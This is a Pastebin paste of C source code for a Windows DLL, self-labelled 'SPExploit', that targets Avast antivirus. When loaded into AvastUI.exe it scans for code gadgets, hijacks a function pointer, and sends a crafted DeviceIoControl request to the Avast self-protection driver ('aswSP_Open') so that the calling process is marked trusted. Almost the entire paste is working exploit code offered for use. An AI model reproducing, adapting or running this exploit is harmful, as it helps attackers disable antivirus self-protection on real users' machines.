Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #define UNICODE
  2. #define _UNICODE
  3.  
  4. #include <windows.h>
  5. #include <tchar.h>
  6. #include <strsafe.h>
  7. #include <winternl.h>
  8.  
  9. #pragma comment( lib, "user32" )
  10.  
  11. PBYTE memmem( PBYTE haystack, SIZE_T hlen, PBYTE needle, SIZE_T nlen )
  12. {
  13.     BYTE needle_first;
  14.     PBYTE p = haystack;
  15.     SIZE_T plen = hlen;
  16.  
  17.     if ( !nlen )
  18.         return NULL;
  19.  
  20.     needle_first = *needle;
  21.  
  22.     while ( plen >= nlen && ( p = memchr( p, needle_first, plen - nlen + 1 ) ) )
  23.     {
  24.         if ( !memcmp( p, needle, nlen ) )
  25.             return p;
  26.  
  27.         p++;
  28.         plen = hlen - ( p - haystack );
  29.     }
  30.  
  31.     return NULL;
  32. }
  33.  
  34. BOOL GetSectionInfo( PBYTE pModule, PBYTE szSectionName, PBYTE *ppSection, PDWORD pdwSectionSize )
  35. {
  36.     PIMAGE_DOS_HEADER pDOSHeader;
  37.     PIMAGE_NT_HEADERS pNTHeaders;
  38.     PIMAGE_OPTIONAL_HEADER pOptionalHeader;
  39.     PIMAGE_SECTION_HEADER pSectionHeader;
  40.     UINT i;
  41.  
  42.     *ppSection = NULL;
  43.     *pdwSectionSize = 0;
  44.  
  45.     pDOSHeader = ( PIMAGE_DOS_HEADER )pModule;
  46.     if ( IMAGE_DOS_SIGNATURE != pDOSHeader->e_magic )
  47.         return FALSE;
  48.     pNTHeaders = ( PIMAGE_NT_HEADERS )( pModule + pDOSHeader->e_lfanew );
  49.     if ( IMAGE_NT_SIGNATURE != pNTHeaders->Signature )
  50.         return FALSE;
  51.     pOptionalHeader = ( PIMAGE_OPTIONAL_HEADER )( &pNTHeaders->OptionalHeader );
  52.     if ( IMAGE_NT_OPTIONAL_HDR_MAGIC != pOptionalHeader->Magic )
  53.         return FALSE;
  54.     pSectionHeader = ( PIMAGE_SECTION_HEADER )( ( PBYTE )pOptionalHeader + pNTHeaders->FileHeader.SizeOfOptionalHeader );
  55.     for ( i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++ )
  56.     {
  57.         if ( strcmp( pSectionHeader->Name, szSectionName ) == 0 )
  58.         {
  59.             DWORD dwSize = pSectionHeader->Misc.VirtualSize;
  60.  
  61.             if ( dwSize % pOptionalHeader->SectionAlignment != 0 )
  62.                 dwSize += pOptionalHeader->SectionAlignment - ( dwSize % pOptionalHeader->SectionAlignment );
  63.             *ppSection = pModule + pSectionHeader->VirtualAddress;
  64.             *pdwSectionSize = dwSize;
  65.             _tprintf( _T( "[?] %S: 0x%08Ix 0x%08x\n" ), pSectionHeader->Name, *ppSection, *pdwSectionSize );
  66.  
  67.             return TRUE;
  68.         }
  69.     }
  70.  
  71.     return FALSE;
  72. }
  73.  
  74. /*
  75. .text:005E0BCD A1 F8 14 71 00                          mov     eax, dword_7114F8
  76. .text:005E0BD2 85 C0                                   test    eax, eax
  77. .text:005E0BD4 74 0E                                   jz      short loc_5E0BE4
  78. .text:005E0BD6 8D 4D D0                                lea     ecx, [ebp+var_30]
  79. .text:005E0BD9 51                                      push    ecx
  80. .text:005E0BDA 6A 03                                   push    3
  81. .text:005E0BDC FF D0                                   call    eax ; dword_7114F8
  82. */
  83. static BYTE g_pbTrampoline[] = { 0x85, 0xc0, 0x74, 0x0e, 0x8d, 0x4d, 0xd0, 0x51, 0x6a, 0x03, 0xff, 0xd0 };
  84. static BYTE g_pbInt3Return[] = { 0xcc, 0xc3 };
  85.  
  86. __declspec( naked ) DWORD UserModeAPCFunction( )
  87. {
  88.     __asm
  89.     {
  90.         //int 3
  91.         mov eax, dword ptr [esp + 10h]
  92.         test eax,eax
  93.         jz skip
  94.         mov dword ptr [eax], 41414141h
  95. skip:
  96.         xor eax,eax
  97.         add esp, 0Ch
  98.         ret
  99.     }
  100. }
  101.  
  102. VOID SPExploit( VOID )
  103. {
  104.     HMODULE hModule;
  105.     HANDLE hDevice = INVALID_HANDLE_VALUE;
  106.     TCHAR szDebug[0x40] = { 0 };
  107.     DWORD dwPid, dwBytesReturned = 0, dwSectionSize = 0;
  108.     BYTE pbBuffer[0x19] = { 0 };
  109.     PBYTE pSection = NULL;
  110.     DWORD_PTR dwpGadget[2] = { 0, 0 };
  111.     PDWORD_PTR pdwpPointerInDataSection = NULL;
  112.  
  113.     hModule = GetModuleHandle( _T( "AvastUI.exe" ) );
  114.     if ( NULL == hModule )
  115.     {
  116.         if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
  117.                                          _T( "[-] GetModuleHandle() failed (0x%08x)\n" ),
  118.                                          GetLastError() ) ) )
  119.             OutputDebugString( szDebug );
  120.         return;
  121.     }
  122.     if ( FALSE == GetSectionInfo( ( PBYTE )hModule, ".text", &pSection, &dwSectionSize ) )
  123.     {
  124.         OutputDebugString( _T( ".text section not found\n" ) );
  125.         return;
  126.     }
  127.     dwpGadget[0] = ( DWORD_PTR )memmem( pSection, dwSectionSize, g_pbInt3Return, sizeof( g_pbInt3Return ) );
  128.     dwpGadget[1] = ( DWORD_PTR )memmem( pSection, dwSectionSize, g_pbTrampoline, sizeof( g_pbTrampoline ) );
  129.     dwpGadget[1] -= 5;
  130.     pdwpPointerInDataSection = *( PDWORD_PTR * )( ( PBYTE )( dwpGadget[1] ) + 1 );
  131.     *pdwpPointerInDataSection = ( DWORD_PTR )UserModeAPCFunction;
  132.  
  133.     hDevice = CreateFile( _T( "\\\\.\\aswSP_Open" ),
  134.                           MAXIMUM_ALLOWED,
  135.                           FILE_SHARE_READ | FILE_SHARE_WRITE,
  136.                           NULL,
  137.                           OPEN_EXISTING,
  138.                           0,
  139.                           NULL );
  140.     if ( INVALID_HANDLE_VALUE == hDevice )
  141.     {
  142.         if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
  143.                                          _T( "[-] CreateFile() failed (0x%08x)\n" ),
  144.                                          GetLastError() ) ) )
  145.             OutputDebugString( szDebug );
  146.         return;
  147.     }
  148.     *( PDWORD )( &pbBuffer[0] ) = 0x7370746d;
  149.     *( PDWORD )( &pbBuffer[4] ) = dwPid = GetCurrentProcessId();
  150.     pbBuffer[8] = 1;
  151.     *( PDWORD_PTR )( &pbBuffer[9] ) = dwpGadget[1];
  152.     *( PDWORD )( &pbBuffer[0xd] ) = dwPid;
  153.     *( PDWORD_PTR )( &pbBuffer[0x11] ) = dwpGadget[0]; //never used?
  154.     *( PDWORD )( &pbBuffer[0x15] ) = dwPid;
  155.     if ( FALSE == DeviceIoControl( hDevice,
  156.                                    0xb2d60198,
  157.                                    pbBuffer,
  158.                                    sizeof( pbBuffer ),
  159.                                    NULL,
  160.                                    0,
  161.                                    &dwBytesReturned,
  162.                                    NULL ) )
  163.     {
  164.         if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
  165.                                          _T( "[-] DeviceIoControl() failed (0x%08x)\n" ),
  166.                                          GetLastError() ) ) )
  167.             OutputDebugString( szDebug );
  168.     }
  169.  
  170.     if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
  171.                                      _T( "ProcessId %d should now be trusted!\n" ),
  172.                                      dwPid ) ) )
  173.         MessageBox( NULL, szDebug, _T( "SPExploit" ), MB_OK | MB_ICONINFORMATION );
  174.  
  175.     CloseHandle( hDevice );
  176.     ExitProcess( 0 );
  177. }
  178.  
  179. BOOL APIENTRY DllMain( HANDLE hinstDLL,
  180.                        DWORD fdwReason,
  181.                        LPVOID lpReserved )
  182. {
  183.     if ( fdwReason == DLL_PROCESS_ATTACH )
  184.     {
  185.         SPExploit();
  186.     }    
  187.     return TRUE;
  188. }